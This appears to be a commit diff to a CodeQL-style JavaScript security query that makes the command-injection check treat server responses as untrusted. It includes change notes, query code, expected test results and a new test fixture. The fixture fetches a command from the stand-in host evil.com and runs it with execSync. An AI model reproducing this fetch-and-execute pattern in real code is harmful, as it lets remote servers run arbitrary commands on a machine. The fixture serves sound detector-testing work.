JS: treat server responses as untrusted for command injections

Author: Esben Sparre Andreasen

change-notes/1.23/analysis-javascript.md

@@ -21,8 +21,9 @@
 |--------------------------------|------------------------------|---------------------------------------------------------------------------|
 | Client-side cross-site scripting (`js/xss`) | More results | More potential vulnerabilities involving functions that manipulate DOM attributes are now recognized. |
 | Code injection (`js/code-injection`) | More results | More potential vulnerabilities involving functions that manipulate DOM event handler attributes are now recognized. |
+| Incorrect suffix check (`js/incorrect-suffix-check`) | Fewer false-positive results | The query recognizes valid checks in more cases. 
 | Prototype pollution (`js/prototype-pollution`) | More results | The query now highlights vulnerable uses of jQuery and Angular, and the results are shown on LGTM by default. |
-| Incorrect suffix check (`js/incorrect-suffix-check`) | Fewer false-positive results | The query recognizes valid checks in more cases. |
+| Uncontrolled command line (`js/command-line-injection`) | More results | This query now treats responses from servers as untrusted. |
 
 ## Changes to QL libraries
 

javascript/ql/src/Security/CWE-078/CommandInjection.ql

@@ -16,11 +16,11 @@ import javascript
 import semmle.javascript.security.dataflow.CommandInjection::CommandInjection
 import DataFlow::PathGraph
 
-from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight
+from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight, Source sourceNode
 where
   cfg.hasFlowPath(source, sink) and
   if cfg.isSinkWithHighlight(sink.getNode(), _)
   then cfg.isSinkWithHighlight(sink.getNode(), highlight)
-  else highlight = sink.getNode()
-select highlight, source, sink, "This command depends on $@.", source.getNode(),
-  "a user-provided value"
+  else highlight = sink.getNode() and
+  sourceNode = source.getNode()
+select highlight, source, sink, "This command depends on $@.", sourceNode, sourceNode.getSourceType()

javascript/ql/src/semmle/javascript/security/dataflow/CommandInjectionCustomizations.qll

@@ -11,7 +11,10 @@ module CommandInjection {
   /**
    * A data flow source for command-injection vulnerabilities.
    */
-  abstract class Source extends DataFlow::Node { }
+  abstract class Source extends DataFlow::Node {
+    /** Gets a string that describes the type of this remote flow source. */
+    abstract string getSourceType();
+  }
 
   /**
    * A data flow sink for command-injection vulnerabilities.
@@ -26,6 +29,17 @@ module CommandInjection {
   /** A source of remote user input, considered as a flow source for command injection. */
   class RemoteFlowSourceAsSource extends Source {
     RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
+
+    override string getSourceType() { result = "a user-provided value" }
+  }
+
+  /**
+   * A response from a server, considered as a flow source for command injection.
+   */
+  class ServerResponse extends Source {
+    ServerResponse() { this = any(ClientRequest r).getAResponseDataNode() }
+
+    override string getSourceType() { result = "a server-provided value" }
   }
 
   /**

javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected

@@ -67,6 +67,8 @@ nodes
 | other.js:17:27:17:29 | cmd |
 | other.js:18:22:18:24 | cmd |
 | other.js:19:36:19:38 | cmd |
+| third-party-command-injection.js:5:20:5:26 | command |
+| third-party-command-injection.js:6:21:6:27 | command |
 edges
 | child_process-test.js:6:9:6:49 | cmd | child_process-test.js:17:13:17:15 | cmd |
 | child_process-test.js:6:9:6:49 | cmd | child_process-test.js:18:17:18:19 | cmd |
@@ -134,6 +136,7 @@ edges
 | other.js:5:15:5:44 | url.par ... ).query | other.js:5:15:5:49 | url.par ... ry.path |
 | other.js:5:15:5:49 | url.par ... ry.path | other.js:5:9:5:49 | cmd |
 | other.js:5:25:5:31 | req.url | other.js:5:15:5:38 | url.par ... , true) |
+| third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command |
 #select
 | child_process-test.js:17:13:17:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:17:13:17:15 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
 | child_process-test.js:18:17:18:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:18:17:18:19 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
@@ -160,3 +163,4 @@ edges
 | other.js:17:27:17:29 | cmd | other.js:5:25:5:31 | req.url | other.js:17:27:17:29 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
 | other.js:18:22:18:24 | cmd | other.js:5:25:5:31 | req.url | other.js:18:22:18:24 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
 | other.js:19:36:19:38 | cmd | other.js:5:25:5:31 | req.url | other.js:19:36:19:38 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
+| third-party-command-injection.js:6:21:6:27 | command | third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command | This command depends on $@. | third-party-command-injection.js:5:20:5:26 | command | a server-provided value |

javascript/ql/test/query-tests/Security/CWE-078/third-party-command-injection.js

@@ -0,0 +1,8 @@
+let https = require("https"),
+    cp = require("child_process");
+
+https.get("https://evil.com/getCommand", res =>
+    res.on("data", command => {
+        cp.execSync(command);
+    })
+);